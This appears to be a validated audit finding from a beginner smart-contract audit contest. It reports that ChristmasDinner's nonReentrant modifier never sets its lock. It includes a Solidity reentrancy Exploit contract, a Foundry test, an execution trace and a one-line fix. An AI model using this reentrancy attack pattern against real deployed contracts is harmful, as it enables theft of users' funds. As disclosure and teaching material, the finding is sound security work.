Christmas Dinner

First Flight #31
Beginner FriendlyFoundrySolidity
100 EXP
View results
Submission Details
Severity: high
Valid

H-01: `ChristmasDinner::nonReentrant()` modifier not working as expected

Summary

The ChristmasDinner::nonReentrant() modifier is not working as expected, as it never sets locked as True before continuing with executing the function. Hence, locked will always be false and this modifier never really prevents reentrancy.

Vulnerability Details

modifier nonReentrant() {
require(!locked, "No re-entrancy");
_;
locked = false;
}

Impact

We can see from the results that the transaction reverted due to "OutOfGas" by transfer() and not the error "No re-entrancy" from ChristmasDinner::nonReentrant() modifier

contract Exploit {
ChristmasDinner cd;
uint8 attempt = 1;
constructor(ChristmasDinner _cd) payable {
cd = _cd;
}
function attack() external {
(bool success, ) = address(cd).call{value: 1 ether}("");
require(success, "deposit failed");
cd.refund();
}
receive() external payable {
if(address(cd).balance > 0 && attempt < 3){
console.log("Reenter");
attempt += 1;
cd.refund();
} else {
console.log("CD ETH: ", address(cd).balance);
console.log("This ETH: ", address(this).balance);
}
}
}
function testReentrancyInRefundETH() public {
vm.deal(user1, 5 ether);
vm.deal(user2, 1 ether);
// Simulate user 1 depositing 5 ether
vm.startPrank(user1);
(bool success1, ) = address(cd).call{value: 5 ether}("");
require(success1, "Deposit ether failed for user 1");
vm.stopPrank();
// Simulate user 2 passing 1 ether to exploit contract and then deposit
vm.startPrank(user2);
Exploit exploit = new Exploit{value: 1 ether}(cd);
exploit.attack();
vm.stopPrank();
}

Results

[397814] ChristmasDinnerTest::testReentrancyInRefundETH()
├─ [0] VM::deal(user1: [0x29E3b139f4393aDda86303fcdAa35F60Bb7092bF], 5000000000000000000 [5e18])
│ └─ ← [Return]
├─ [0] VM::deal(user2: [0x537C8f3d3E18dF5517a58B3fB9D9143697996802], 1000000000000000000 [1e18])
│ └─ ← [Return]
├─ [0] VM::startPrank(user1: [0x29E3b139f4393aDda86303fcdAa35F60Bb7092bF])
│ └─ ← [Return]
├─ [24234] ChristmasDinner::receive{value: 5000000000000000000}()
│ ├─ emit NewSignup(: user1: [0x29E3b139f4393aDda86303fcdAa35F60Bb7092bF], : 5000000000000000000 [5e18], : true)
│ └─ ← [Stop]
├─ [0] VM::stopPrank()
│ └─ ← [Return]
├─ [0] VM::startPrank(user2: [0x537C8f3d3E18dF5517a58B3fB9D9143697996802])
│ └─ ← [Return]
├─ [235627] → new Exploit@0x490452EE20b56a33EE7e98cC7dA68d009cFE49fe
│ └─ ← [Return] 1064 bytes of code
├─ [84190] Exploit::attack()
│ ├─ [24234] ChristmasDinner::receive{value: 1000000000000000000}()
│ │ ├─ emit NewSignup(: Exploit: [0x490452EE20b56a33EE7e98cC7dA68d009cFE49fe], : 1000000000000000000 [1e18], : true)
│ │ └─ ← [Stop]
│ ├─ [52327] ChristmasDinner::refund()
│ │ ├─ [7310] ERC20Mock::transfer(Exploit: [0x490452EE20b56a33EE7e98cC7dA68d009cFE49fe], 0)
│ │ │ ├─ emit Transfer(from: ChristmasDinner: [0x8Ad159a275AEE56fb2334DBb69036E9c7baCEe9b], to: Exploit: [0x490452EE20b56a33EE7e98cC7dA68d009cFE49fe], value: 0)
│ │ │ └─ ← [Return] true
│ │ ├─ [7310] ERC20Mock::transfer(Exploit: [0x490452EE20b56a33EE7e98cC7dA68d009cFE49fe], 0)
│ │ │ ├─ emit Transfer(from: ChristmasDinner: [0x8Ad159a275AEE56fb2334DBb69036E9c7baCEe9b], to: Exploit: [0x490452EE20b56a33EE7e98cC7dA68d009cFE49fe], value: 0)
│ │ │ └─ ← [Return] true
│ │ ├─ [7310] ERC20Mock::transfer(Exploit: [0x490452EE20b56a33EE7e98cC7dA68d009cFE49fe], 0)
│ │ │ ├─ emit Transfer(from: ChristmasDinner: [0x8Ad159a275AEE56fb2334DBb69036E9c7baCEe9b], to: Exploit: [0x490452EE20b56a33EE7e98cC7dA68d009cFE49fe], value: 0)
│ │ │ └─ ← [Return] true
│ │ ├─ [2300] Exploit::receive{value: 1000000000000000000}()
-> │ │ │ └─ ← [OutOfGas] EvmError: OutOfGas
│ │ └─ ← [Revert] EvmError: Revert
│ └─ ← [Revert] EvmError: Revert
└─ ← [Revert] EvmError: Revert

Tools Used

Foundry

Recommendations

Set locked to True before executing the function

modifier nonReentrant() {
require(!locked, "No re-entrancy");
+ locked = true;
_;
locked = false;
}
Updates

Lead Judging Commences

0xtimefliez Lead Judge about 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

mutex lock incomplete

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!